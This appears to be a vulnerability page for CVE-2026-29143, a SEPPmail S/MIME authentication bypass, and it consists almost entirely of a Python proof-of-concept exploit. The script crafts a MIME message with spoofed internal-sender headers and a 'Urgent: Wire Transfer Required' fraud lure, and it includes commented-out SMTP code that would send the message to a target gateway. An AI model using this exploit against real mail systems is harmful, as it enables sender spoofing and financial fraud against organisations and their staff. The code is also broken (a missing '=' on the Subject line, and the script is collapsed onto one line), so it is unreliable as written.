CVE-2026-29143 SEPPmail邮件网关S/MIME认证绕过漏洞

# Conceptual PoC for CVE-2026-29143 # Description: This script demonstrates how to craft a MIME message # where the inner headers are manipulated to exploit the lack of authentication # on the inner message of S/MIME-encrypted entities in SEPPmail < 15.0.3. from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email import policy from email.generator import Generator import smtplib def create_exploit_mime(): # Step 1: Create the inner malicious message # Attackers aim to control these 'trusted' headers inner_msg = MIMEMultipart('mixed') inner_msg['From'] = '[email protected]' # Spoofed internal trusted sender inner_msg['To'] = '[email protected]' inner_msg['Subject'] 'Urgent: Wire Transfer Required' # Malicious payload body body = MIMEText('Please transfer funds immediately.', 'plain') inner_msg.attach(body) # Step 2: Wrap in outer entity (Simulating the S/MIME structure) # In a real exploit, this would be encrypted, but the vulnerability lies # in how the gateway processes the decrypted inner headers. outer_msg = MIMEMultipart('encrypted', protocol='application/pkcs7-mime') outer_msg['From'] = '[email protected]' outer_msg['To'] = '[email protected]' # The gateway fails to authenticate that 'inner_msg' is genuinely signed # by the spoofed '[email protected]', yet trusts its headers. outer_msg.attach(inner_msg) return outer_msg if __name__ == "__main__": exploit_msg = create_exploit_mime() print("[+] Crafted Exploit MIME Message:") print(exploit_msg.as_string()) # Logic to send to the vulnerable gateway # try: # with smtplib.SMTP('target_gateway_ip', 25) as server: # server.sendmail('[email protected]', '[email protected]', exploit_msg.as_string()) # print("[+] Exploit sent successfully.") # except Exception as e: # print(f"[-] Error sending exploit: {e}")